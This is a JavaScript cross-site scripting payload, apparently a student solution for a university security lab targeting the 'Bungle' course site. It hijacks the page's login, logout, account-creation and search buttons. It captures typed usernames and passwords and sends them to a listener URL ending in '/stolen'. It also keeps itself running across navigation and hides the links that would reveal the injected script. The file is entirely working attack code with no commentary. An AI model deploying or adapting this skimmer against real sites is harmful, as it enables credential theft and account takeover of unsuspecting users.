function payload(attacker)
{
    var target = "http://bungle-cs461.cs.illinois.edu/";
    function log(data)
    {
        console.log($.param(data))
        $.get(attacker, data);
    }
    function constructEvent(type, url)
    {
        if(type == "i")
        {
            Username = $("#username").val();
            Password = $("#userpass").val();
            return {event:"login",user:Username,pass:Password};
        }
        else if(type == "o")
        {
            return {event:"logout",user:($("#logged-in-user").text())};
        }
        else if(type == "c")
        {
            Username = $("#username").val();
            Password = $("#userpass").val();
            return {event:"create_account",user:Username,pass:Password};
        }
        else
        {
            if($("#logged-in-user").text() != "")
            {
                return {event:"nav",user:String($("#logged-in-user").text()),url:url}
            }
            else
            {
                return {event:"nav",url:url};
            }
        }
    }
    function proxy(href,data)
    {
        if(data == "")
        {
            $("html").load(href, function(){
                           clearHistory();
                           $("html").show();
                           });
        }
        else
        {
            $("html").load(href, data, function(){
                           clearHistory();
                           $("html").show();
                           });
        }
    }
    function hijackSearchButton(event)
    {
        event.preventDefault();
        searchQuery = $("#query").val();
        searchEvent = {event: "search",q:encodeURIComponent(searchQuery)}
        log(constructEvent("","search?q="+searchQuery));
        history.pushState({type: "search",url:target+"search?q="+encodeURIComponent(searchQuery)},"",target+"search?q="+encodeURIComponent(searchQuery));
        reload("search?q="+encodeURIComponent(searchQuery), "");
    }
    function hijackLogOutButton(event)
    {
        event.preventDefault();
        log(constructEvent("o",""));
        history.pushState({type:"logout",url:target},"",target);
        reload("logout",{});
    }
    function hijackLogInButton(event)
    {
        event.preventDefault();
        Username = $("#username").val();
        Password = $("#userpass").val();
        log(constructEvent("i",""));
        history.pushState({type:"logout",url:target},"",target);
        reload("login",{username:Username,password:Password});
    }
    function hijackCreateAccountButton(event)
    {
        event.preventDefault();
        Username = $("#username").val();
        Password = $("#userpass").val();
        log(constructEvent("c",""));
        history.pushState({type:"logout",url:target},"",target);
        reload("create",{username:Username,password:Password});
    }
    function hijackSearchAgainButton(event)
    {
        event.preventDefault();
        log(constructEvent("","./"));
        history.pushState({type: "again",url:target},"",target);
        reload("./","");
    }
    function clearHistory()
    {
        $("a").filter(":contains(\"function\")").remove();
	$("a").filter(":contains(\"String\")").remove();
    }
    function reload(newLink,data)
    {
        $("html").hide();
        proxy(newLink,data);
    }
    history.replaceState({type: "home",url:target},"",target);
    reload("./","");
    log(constructEvent("","./"));
    $(document).ready(function()
                      {
                      $(document).on("click","#search-btn",hijackSearchButton);
                      $(document).on("click","#log-out-btn",hijackLogOutButton);
                      $(document).on("click","#log-in-btn",hijackLogInButton);
                      $(document).on("click","#new-account-btn",hijackCreateAccountButton);
                      $(document).on("click","#search-again-btn",hijackSearchAgainButton);
                      });
  window.onpopstate = function(event)
  {
      if(event.state.type == "search" || event.state.type == "home" || event.state.type == "logout" || event.state.type == "again")
      {
          reload(event.state.url,"");
      }
      else if(event.state.type == "login")
      {
          reload(event.state.url,{});
      }
  };
};payload("http://127.0.0.1:31337/stolen");